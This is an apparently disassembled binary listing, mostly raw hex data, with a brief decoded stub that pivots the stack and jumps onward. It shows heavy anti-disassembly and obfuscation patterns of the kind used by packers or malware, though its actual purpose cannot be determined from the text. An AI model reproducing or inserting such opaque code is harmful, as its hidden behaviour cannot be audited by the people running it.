		dd 0AC1271B5h, 8B505B06h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 8E98D09h,	6A06ACh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0A2E8DFC3h, 77CA353Ch
		dd 0BD8B1F3Eh, 6AC2DA9h, 1229BD83h, 0F0006ACh, 0A584h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0D7130203h, 38B0Fh, 8B660000h, 10810FDFh
		dd 0E8000000h, 8, 0FBE029D6h, 0DD61067Bh, 0B85BDD8Ah, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0BFC35545h
		dd 0EE8h, 33525000h, 18919613h,	21B6CF84h, 0F992D9C4h
		dd 0BD8B565Fh, 6AC1971h, 338D8D5Fh, 6A06AC4Eh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 1F30C357h, 5A36BF66h, 0BD83E1FFh, 6AC27F1h, 0A9840F00h
		dd 6A000004h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 66AFC351h, 7235040h, 8D89596Dh
		dd 6AC2431h, 0BD830EB7h, 6AC27F1h, 8C840F01h, 8B000004h
		dd 0AC328D9Dh, 0F1BD8306h, 306AC27h, 443860Fh, 57BF0000h
		dd 60456A7Bh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Bh,	2BC35747h, 941C479Dh, 668102D9h, 6AD98Ch, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 8B02DDC3h, 0AC2F119Dh, 4E18006h, 98F0Fh, 870F0000h
		dd 3, 0AFE8B66h, 3A840FC9h, 0F000001h, 78Ah, 18B0F00h
		dd 0F8000000h, 0D65BD89h, 858B06ACh, 6AC32B9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 82C35545h, 0D39824D0h
		dd 8533FE8Bh, 6AC19E9h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0AEC35747h, 6E7F85C2h, 0F3816645h, 0F500147h
		dd 1483h, 0EE800h, 115F0000h, 0FB36F675h, 28350AE1h, 7A13F7AEh
		dd 2404895Fh, 3CCCD781h, 6A61E6h, 2FF9B589h, 0C78106ACh
		dd 258C962Ah, 7974B968h, 24348123h, 23667746h, 0C6D8589h
		dd 0FE806ACh, 0A9000000h, 2785BABDh, 0F1B61F20h, 0E19AC295h
		dd 0FE94AFBh, 4A000000h, 15224088h, 7B3FE764h, 87878F4Ah
		dd 0FF5F93CFh, 0AC09BD95h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 919D8BCEh
		dd 8B06AC29h, 0AC0EC9BDh, 1D858906h, 2B06AFB2h,	0AC2FADBDh
		dd 0E9F9B306h, 225h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 2FC35747h, 3DE1045Ch,	0CF80EE90h, 15858BA6h
		dd 6A06AFB2h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0C710C351h, 1800h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 11C8274h, 0B58B30BEh, 6AFB219h, 243D9D8Bh, 858B06ACh
		dd 6AC00A9h, 89D8B70Fh,	52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 2865B9ECh, 0AB744A3Eh
		dd 9D89565Ch, 6AC245Dh,	0FE85Bh, 95030000h, 0F63DD78Ch
		dd 3CDB9E6Eh, 7BD98F3Ch, 259D8B5Ch, 5F06AC02h, 32B9858Bh
		dd 6A06ACh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0BBFAEBC3h, 6E2D3D8Ch, 8B6E854Bh,	0AC28519Dh
		dd 4468906h, 0BB5013B7h, 4B61B1E1h, 33243489h, 0AC24E59Dh
		dd 15B5FF06h, 6A06AFB2h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0C9E1C357h,	0A440FA8Eh
		dd 266F68FBh, 10E94E3Dh, 95000000h, 0B3C2C4B4h,	86050A51h
		dd 0CA755D89h, 81B126B7h, 25902434h, 6A4E22h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0C29E97C3h
		dd 15A65595h, 9D290100h, 6AC21D5h, 0B21D858Dh, 6A06AFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0DB17C0C3h, 16EC387h, 891B1418h, 0AC09A1B5h,	0C3816606h
		dd 6050F8EDh, 8961FFB4h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 9A1317C3h, 0DA80BFA8h
		dd 7E9h, 57E11E00h, 0C80E45EAh,	38E0Fh,	0B70F0000h, 0BD95FFFBh
		dd 6A06AC09h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0A897C353h, 8B1D55B2h,	0AC04FD9Dh
		dd 6A6106h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0A0B5B8C3h, 231B589h, 0BE906ACh, 56000000h
		dd 5F40FB27h, 0D5F2308Eh, 9D89F1EEh, 6AC25BDh, 27F185C7h
		dd 306ACh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0C63590C3h, 0BE92941h, 0BD831E31h
		dd 6AFB21Dh, 2A840F00h,	8B000000h, 0AC1755BDh, 3AE906h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0A3F628C3h, 0C305043h, 11440011h,	10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 0FBC35040h, 687BD5C1h, 1DE59D8Bh, 0BD8B06ACh
		dd 6AC0F21h, 27F1BD83h,	0F0306ACh, 4E585h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 0D4C7076Dh, 0B21DBD83h, 0F0006AFh, 4B984h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 14E8E81Dh, 0D1000000h, 47FB3CA8h, 84391C5Ah,	0BB26119Eh
		dd 7A4EEEE8h, 8B855351h, 0AC2AA9BDh, 0B5FF5B06h, 6AFB21Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 1AC35343h
		dd 0C4D614A5h, 13E994h,	96390000h, 96D28F6Fh, 42570952h
		dd 3C7E1A06h, 5DB623F1h, 0C595FF0Ch, 0E806AC09h, 6, 0D20EEF58h
		dd 8A0F205Fh, 6, 24B1B529h, 8B5B06ACh, 0AFB211B5h, 11BD8B06h
		dd 0C706AC14h, 1000106h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0A970BA46h, 0F63721DBh
		dd 5050C040h, 886EBB52h, 310F6CF8h, 585A67B3h, 6A243489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 547CC350h, 0FF7FB406h, 0AFB21DB5h, 0FE906h
		dd 0C4680000h, 2AB86936h, 0E652F57Ah, 3C84E733h, 5595FF37h
		dd 6A06AC1Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 7B55C353h, 0AAB7AEE8h,	81DEFE4Eh
		dd 0D9C794D7h, 9DBB667Bh, 11B58BCDh, 6A06AFB2h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0B9EAC351h, 0D98B22FBh, 0E5858Bh, 868906ACh,	0C4h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0A9C35141h, 31C62586h
		dd 0E8C4E7F3h, 7, 31E305A9h, 0E9BB85C6h, 11h, 8FFEE127h
		dd 509256EBh, 886AC965h, 4C995160h, 0BB665F70h,	958B07C9h
		dd 6AC2F0Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	5DC35646h, 4E5B298h, 0C91E4A88h, 1A919D89h, 0C28306ACh
		dd 57006A04h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 96D3817Fh, 8B0CC38Bh, 0AC00099Dh, 20508906h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0BDC35545h
		dd 858DFA8Ah
		dd 6AFC71Eh, 0AE9h, 0F2BBC000h,	0DE7CC47Eh, 89F4A230h
		dd 0B886h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0C3FFB9F6h, 10E9A6h, 0AFBC0000h
		dd 0C4690AADh, 0B6E83361h, 0E48CF4C4h, 6A92EEh,	0FC99589h
		dd 0B5FF06ACh, 6AFB21Dh, 3085BD89h, 0D38106ACh,	6EE979Eh
		dd 0DA595FFh, 6A06ACh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0E69C58C3h, 0D43F3AD5h, 0E9F97795h
		dd 0Eh,	5ED9C838h, 0A6A076B5h, 0A58CE38Ah, 0BF500396h
		dd 3A38AB0Dh, 6A243489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 4700C356h, 0EE83209h
		dd 0A2000000h, 0D4532A43h, 7EB6C2D9h, 6EFE5EA0h, 9D8956D6h
		dd 6AC0BD5h, 0B5FF5B5Bh, 6AFB21Dh, 0FDB8166h, 0D95FFA3h
		dd 6006AC09h, 0B211C0BEh, 0ED9D8B7Ah, 6106AC2Ah, 0B61BD83h
		dd 0F0006ACh, 3E84h, 0B830F00h,	0F000000h, 58Fh, 0EB816600h
		dd 8950D147h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 2D9145C3h, 6C799DAh, 664D16F5h
		dd 0FF5CDEBBh, 0AFB21DB5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 89BB694Bh
		dd 0AC2DE19Dh, 3595FF06h, 0F06AC21h, 381h, 0F88B6600h
		dd 0B21DB5FFh, 6A06AFh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0F5924DC3h, 792B65FAh, 14D995FFh
		dd 0FE8A06ACh, 1E9BD83h, 0F0206ACh, 6584h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 9721BBA5h, 0C870B353h, 0A4DF8166h, 0D1B589B6h, 8B06AC05h
		dd 0AC05A985h, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 6FB5A1C7h, 81C389F4h
		dd 1504CDDFh, 0C640h, 24699D8Bh, 85C706ACh, 6AC3001h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 8C35747h
		dd 58283F1Eh, 666E927Ch, 0E97563BFh, 0Ah, 0C6FB5D5Fh, 7673403Fh
		dd 0CBE9CCC6h, 0BBFFFFF1h, 565D9F81h, 0CE9C18Bh, 2B000000h
		dd 4ACC41F3h, 0D33E63AAh, 60E4F2B9h, 0BF78B66h,	0AC33A585h
		dd 24E96106h, 0E8000000h, 371096h, 7 dup(0)
		dd 0E9000000h, 517h, 3EFF37DAh,	64A5618Eh, 3FFE36D4h, 66A75F8Fh
		dd 3EFF37D6h, 0FEEDBA43h, 55B707C6h, 4E85899h, 50B909C8h
		dd 4D1C5594h, 0E2D9AAFEh, 5CD0F7E8h, 0B171AD5Eh, 0ED2CE807h
		dd 7F6CAC5Dh, 0BA896F47h, 0CCA18C03h, 739422E2h, 20CD7BBBh
		dd 789224E4h, 24CA7CBCh, 0AD8F28E8h, 163680C1h,	9576C67Ah
		dd 7E0D059h, 52BE0ECFh,	7EB5B9Ah, 4FB90FCFh, 0D2F05797h
		dd 0D70FE3B6h, 7445A616h, 930291C7h, 0DF17FBEFh, 76AA19C8h
		dd 0BBEF9302h, 4497B997h, 272A615h, 93BFEF93h, 4C8C48A1h
		dd 0FAAD6FE6h, 9774A44Ah, 1B359F5Fh, 3257BC8h, 466AEF93h
		dd 2A5FCCFh, 1DCFEF93h,	769721E1h, 23C87EBEh, 60812BEBh
		dd 41EFA6C2h, 6DE90561h, 67C0BB7Ch, 52h, 71AD5EEBh, 35CE04B1h
		dd 8AAAEF93h, 4F8602DEh, 18AC0BBh, 6000000h, 2F73B15Eh
		dd 5936B571h, 52E4240Ah, 77C101BDh, 0AD9F5F97h,	4FBCE18Dh
		dd 8421FE91h, 0B09E5DDEh, 0F028C171h, 0F02CC119h, 9AB41EDEh
		dd 0D915F949h, 278C91F1h, 860F1A3Bh, 0AF5E4945h, 6749856Bh
		dd 0DCFC11A7h, 1ADAF430h, 47873FACh, 21E11DF1h,	1E573313h
		dd 6C315DFFh, 3080417Dh, 69DF1FD7h, 0A78B4B83h,	9F0BE783h
		dd 0B5C0BB49h, 6Eh, 8AAF5E39h, 9335E339h, 360428EFh, 76DC1CD8h
		dd 69DA8B58h, 0EF933633h, 6671AD5Dh, 0B701C34Ah, 6F5D9D59h
		dd 8F7E234Fh, 416FA74Bh, 98683892h, 116353Eh, 14FB4B88h
		dd 3EAE18D8h, 4E6A4686h, 0E152C622h, 3A76C0BBh,	0A7000000h
		dd 980F45F6h, 705CEF92h, 0AF5E75F9h, 0ED01B777h, 36297FCCh
		dd 5A76EF93h, 409CB474h, 629A7124h, 0B15EAFA3h,	0C900B575h
		dd 0AFEF9335h, 8307E38Fh, 89C0BB4Fh, 1,	74B05E05h, 2DE902B4h
		dd 7FB75BEDh, 2AE209BFh, 9C7240EAh, 0D3CDC966h,	927C553h
		dd 0AFDBFBC9h, 9BF7D5F6h, 0A3779727h, 30B9974Fh, 7CCFEA00h
		dd 0EF92DF28h, 0C117A475h, 0EEF92DEh, 58240C22h, 9F8B6EACh
		dd 85E0210Fh, 4BF82B41h, 0E52F127Ah, 679D73C3h,	0A979F92Bh
		dd 17D7F9C9h, 87DD6EBDh, 0D4F63FDCh, 486471F8h,	11CD3E88h
		dd 0DB3181D0h, 719AAA23h, 8AC075B5h, 6CF63FDCh,	6881D4B0h
		dd 963C6DACh, 31476345h, 0F37AB70h, 0B198537Bh,	0B85161E8h
		dd 0E10ABC7Ch, 0BF53E525h, 9A71C707h, 65C7A262h, 0D206B509h
		dd 1FF63FF4h, 5EFC1D33h, 467E6F32h, 0E0A8E87h, 443E39E8h
		dd 0B2000001h, 0F6254F8Bh, 2F225C45h, 739525E5h, 58D17BBBh
		dd 17A1614Dh, 4FFF3EF6h, 10A6669Eh, 5CEC3FF7h, 3DFF76AEh
		dd 0CB8EFA58h, 7A2BEA22h, 0BF6F39D0h, 35D95589h, 0BD9339F9h
		dd 5087DD6Eh, 0F8D4F63Fh, 0AA7CF871h, 5D7439E8h, 0F8000000h
		dd 0F5264C8Bh, 93363246h, 44153F6Fh, 5A6346EAh,	6ADA0927h
		dd 0C24B83h, 5FB50657h,	936F924Bh, 77F99FFBh, 0C203728h
		dd 7D62B685h, 32126F92h, 7B11D656h, 7DE51BA8h, 3BEAEF92h
		dd 927D5488h, 9BB599EFh, 2374E248h, 240A58C6h, 0A4246EADh
		dd 73000000h, 0FAEC2CC3h, 0E965ECC2h, 0F8FD15BFh, 6D0461FBh
		dd 0AFC501E4h, 0E61ECC7Ch, 300DBE6Fh, 0BDE52E92h, 6E75191h
		dd 0AF813DD2h, 87A3D67Ch, 3F317FE1h, 73095FECh,	7A56F63Eh
		dd 0CB6130F3h, 2E26F750h, 0CBFB72BAh, 9F2AEA22h, 0F63EEA44h
		dd 42823AACh, 1FDF17F4h, 0C67FEB37h, 87DAB66Ah,	0A6FAE66h
		dd 0C477A4CEh, 0EBCF2127h, 6ED81834h, 0C392417Dh, 0EF491C70h
		dd 0B95161FCh, 3380537Dh, 0FCEF48DDh, 45870E22h, 24A4C0E2h
		dd 0E9598AE0h, 9140C905h, 7F7D8522h, 75A68AF2h,	0A5419724h
		dd 0A28E039Fh, 8BE4E82Bh, 46F6254Fh, 0ED2390A9h, 32EF9335h
		dd 68B9301Eh, 236A1CDBh, 0CD0D21E5h, 9B5A927Bh,	0EBC960CAh
		dd 0D6DE86CFh, 0ECE06E4h, 0EC1D2DA4h, 0C82A7ECDh, 5B77F643h
		dd 52E2B575h, 75C303BBh, 0A4775995h, 43C7C117h,	0AB220EF6h
		dd 0E0924C98h, 8923F09Eh, 0BB8EC4BCh, 94B63F3Dh, 8844A5F8h
		dd 0D410F949h, 944AA214h, 0BF610F17h, 2D1FF91h,	0F00CB6A8h
		dd 0E36A426Ah, 0C8A48621h, 79B87495h, 24E420C9h, 368h
		dd 72006200h, 0BB7BB35Eh, 0E020DC0Dh, 0C202BA56h, 9A5A9274h
		dd 0C101BD2Ch, 9C5C9877h, 0CA0AC22Ah, 96568E7Ch, 0D313CB20h
		dd 0E68956DDh, 4C681h, 0EE830000h, 24348704h, 240C895Ch
		dd 6C068h, 24048900h, 81E78957h, 4C7h, 4EF8300h, 5C243C87h
		dd 68241489h, 6B05C84h,	8324048Bh, 0EC8104C4h, 4, 81242489h
		dd 42404h, 685A0000h, 1ABh, 8F240489h, 148B0842h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_54FDCC
; ---------------------------------------------------------------------------
		dd 686FB986h, 8DFC2843h, 0CF63F17Ch, 0B8592F1Fh, 6B06115h
		dd 0E0FFC503h, 67E6A492h, 4F4250FFh, 3F8D34E2h,	62847FE0h
		dd 3F73E33Ah, 51E8BB1Ch, 69AB1419h, 619E9377h, 564B7947h
		dd 320DB816h, 6914AFh, 1B4A8167h, 7DE79D93h, 7546EAF8h
		dd 29D49EBFh, 3C51C6D0h, 531372DBh, 7DE654BEh, 26D8D96Ah
		dd 2A1690A7h, 6EF702CCh, 22286D70h, 1B9AA22Bh, 227800DAh
		dd 6746F077h, 40BD704Eh, 6BCE6201h, 207264F8h, 76D0CCEDh
		dd 3D7DA545h, 68501FF7h, 30C3CE70h, 2741858Dh, 0D4B306ACh
		dd 0CED8BB90h, 0BF50278Eh, 7F1C6933h, 56006A90h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
		dd 87FF5DBBh, 0F3D4DDB7h, 6652DE8Bh, 5FDEACBBh,	6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0E1BCF5C3h, 0F424DC85h, 8D89092Ch, 6AC11B5h,	13E9h
		dd 95276000h, 0C05AE358h, 0DE9CB096h, 7D86B150h, 3149CD88h
		dd 6ADA8Bh, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 1Bh,	44C35141h, 0D5DE5B9Fh, 8D32FF62h, 0B0640C85h, 5C08306h
		dd 581CBF66h, 99BBBF50h, 4890EEDh, 51006A24h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 1D1FCD2Eh
		dd 0A89D52C2h, 6AFA8B66h, 13E800h, 6C860000h, 0C7F4BDEBh
		dd 0AC6320FBh, 0FDF5A719h, 4F628587h, 93BF6696h, 8D895F43h
		dd 6AC1399h, 9D8B006Ah,	6AC197Dh, 0AF995FFh, 8B6606ACh
		dd 808D8DFEh, 0F06AF8Bh, 0D1FFF8BFh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0C7C35343h,	507B9DB7h, 8F0F1314h
		dd 2, 0BD83F88Bh, 6AC0161h, 89850F01h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0A845C351h, 0EA601B50h, 5DBD8BB8h, 6A06AC01h, 56006A02h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 8239F28Ch, 8B3AA8EFh, 0AC28DDBDh, 90509006h,	0FE8h
		dd 72ACA600h, 0D7E3C36Ah, 0D1FA393Ah, 0A3B3D41Dh, 0CE957h
		dd 1C320000h, 9AE9A691h, 2AF8F8C6h, 5F5B1E3Ah, 0DA595FFh
		dd 0B58906ACh, 6AC1B75h, 0F17E9h, 0E800h, 815D0000h, 0B06416EDh
		dd 0C1BD8B06h, 6A06AC19h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 26FAC357h, 3F5E839Eh
		dd 0E9A13368h, 0Fh, 3708501Fh, 1C94F107h, 0D40BA653h, 8D572551h
		dd 0AF7E3B85h, 8BFC6006h, 0AC28998Dh, 66906106h, 50DC24BFh
		dd 5C15B960h, 0E8563AA2h, 5, 6B6E0D71h,	615B5F71h, 0DE890h
		dd 6A690000h, 772FDD28h, 8936A40Dh, 8B2474ADh, 0AC06F5BDh
		dd 0BD235F06h, 6AC1359h, 35FF64h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0DFF3C353h, 14F18769h, 0BD8B9542h, 6AC2555h,	258964h
		dd 81000000h, 11919F7h,	7585FF00h, 0E806AC33h, 9, 3FACA97Bh
		dd 83FBE56h, 19D8BECh, 5B06AC06h, 0BD09FF6Ah, 6AC0505h
		dd 3009B5FFh, 6A06ACh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 6AD9ACC3h, 669E0CF8h, 95FFD88Bh
		dd 6AC2069h, 126E9h, 5D9D8B00h,	6606AC21h, 0B0FA8Bh, 820Fh
		dd 70E60000h, 48DF8166h, 8B71E434h, 0AC30859Dh,	0F613C06h
		dd 0FE83h, 0DF816600h, 8B666A86h, 0C8B60FFAh, 0E2D8531h
		dd 10E806ACh, 0EF000000h, 0B3E47FDBh, 2FD0B3h, 3E64669Bh
		dd 8B6CC4EEh, 6BA5FFAh,	89000000h, 0AC1CB585h, 95016006h
		dd 6AC09F5h, 38F0Fh, 8B660000h,	0C18B61F7h, 4E8C1F9h, 12E9h
		dd 7D229800h, 19B1ED0Ch, 0F385CE32h, 98FD8CFBh,	66918B52h
		dd 0C82BE2F7h, 3862BF66h, 6850Fh, 95890000h, 6AC061Dh
		dd 9501D18Bh, 6AC2611h,	6E9h, 0DDB52900h, 8B06AC30h, 0AC01FD85h
		dd 0C083F806h, 0C08307h, 5850Fh, 0BFBB0000h, 3B1BCDB5h
		dd 0E830FD0h, 0FC000000h, 31418D89h, 48E906ACh,	8B000000h
		dd 658D8BDFh, 8906AC33h, 0AC27558Dh, 1E18306h, 31840Fh
		dd 7ABB0000h, 6051E814h, 2AF9BD89h, 8B0F06ACh, 6, 33F99D8Bh
		dd 836106ACh, 0AC3365A5h, 9589FE06h, 6AC01FDh, 296D9D03h
		dd 0E906ACh, 8D000000h,	0AFE47AB5h, 13E906h, 0FE830000h
		dd 377E37B9h, 45F6E2ADh, 0C502B502h, 4A58A98h, 6A006AC8h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 6F4C357h,	437F9054h, 4595FFF1h, 6A06AC21h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0B084C355h, 80A9379Ah, 0A2513BA4h, 0EFE78166h
		dd 0EE880h, 92030000h, 5073BA1Bh, 498DC33Ch, 38F06F1h
		dd 35199D33h, 0B95B06ACh, 721h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0ECC35040h,	0E1839DD7h, 56006AFCh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0EA43E2C8h, 11E9h, 0AEA67C00h, 0A9BD3E25h, 275166AEh
		dd 5484BF0Ch, 9D8B37CEh, 6AC0209h, 50006AFCh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 81665E56h
		dd 60BDE6CFh, 0EE9h, 2B649900h,	3710A5DEh, 0F0A9071Fh
		dd 0E9293350h, 12h, 0AD4C44F0h,	38E0F099h, 90AA19B9h, 0CBCCF0F5h
		dd 0B86125A0h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 58C35646h
		dd 0BA41h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0F2BFEFC3h, 0AD2186EEh, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 52F2C357h, 820Fh, 6E80000h
		dd 0E2000000h, 93166342h, 5B5B51B9h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 71C35141h, 96E8136Dh, 0DF98B66h
		dd 88h,	2F0D958Bh, 6A06ACh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 4F6066C3h, 8BEDB924h
		dd 0AC1195BDh, 58D8B06h, 8106AC1Eh, 0CC9011F3h,	0C28B503Ah
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0A662C353h, 68728E4h, 56006AB5h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 52821A32h, 0A7DDB05Dh
		dd 19518589h, 0BD8306ACh, 6AC1229h, 7C840F00h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 6C26C355h, 94039B8Bh, 10E8D6h, 3ABE0000h
		dd 0F58FA84Ah, 0E02B0655h, 52843DEDh, 80607EDFh, 0B866D5E4h
		dd 5B61784Dh, 0B8h, 0E9A1BB00h,	8D8D53BCh, 6AC4E33h, 91850956h
		dd 5F06AC1Eh, 6AE1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 6633CAC3h, 83D266BBh, 0AC27F1BDh
		dd 840F0006h, 4E1h, 21799D8Bh, 0BD8306ACh, 6AC27F1h, 0E9840F01h
		dd 6A000004h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 2AB3C355h, 0B70FBE63h,	0F1BD83DAh
		dd 306AC27h, 484860Fh, 9D8B0000h, 6AC08F5h, 55006A60h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 4E2BBD0h, 40F11B9Fh,	0FC42EF80h, 6AD98C66h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0FBA8C353h, 0D4F7D963h, 808A9F2Dh, 0E18068D7h, 55006A04h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0E81DE820h, 0Eh, 0C25D8436h,	1BC03512h, 0D3E672F0h
		dd 0B589A061h, 6AC05F9h, 0FC90A5Fh, 14384h, 208E0F00h
		dd 60000000h, 13E9h, 157FD200h,	0A7CFDBDFh, 0F6D2AF9Bh
		dd 80F986F5h, 19983A54h, 26ADB501h, 8B6106ACh, 0AC32B985h
		dd 0E9853306h, 2306AC19h, 0AC10C5BDh, 0B3509006h, 6A90EEh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 5CE829C3h, 0BD8BF98Fh, 6AC0DEDh, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0BDB1C9C3h
		dd 41F020F2h, 95891EB3h, 6AC347Dh, 0A0CB8166h, 49A8680Dh
		dd 4DBB482Dh, 812AD35Dh, 4A572434h, 6A4832h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0C8B70CC3h
		dd 1389A4DEh, 0F1BD8B84h, 0FF06AC19h, 0AC09BD95h, 0C7BF6606h
		dd 1D8589BFh, 0F06AFB2h, 2D86h,	12E96000h, 6C000000h, 5CB0D668h
		dd 2D2C98B7h, 9ADDF587h, 921E0552h, 0FE9A8h, 52A10000h
		dd 172D3CFAh, 0A4968C1Eh, 9DA11F41h, 0FA8B61B5h, 25FE9h
		dd 0EE800h, 5D670000h, 18C233F3h, 0D73DFE1Fh, 7A338BE4h
		dd 0DE8h, 0B634C000h, 0BD2B1928h, 0D918ACB4h, 0DF804A8Eh
		dd 0F55F5BBAh, 0B215858Bh, 6A06AFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0AC85F1C3h
		dd 0EBC85ADBh, 1800C7FCh, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 2D10C355h
		dd 6C9E99E3h, 38961863h, 8D336060h, 6AC33E9h, 1AF19503h
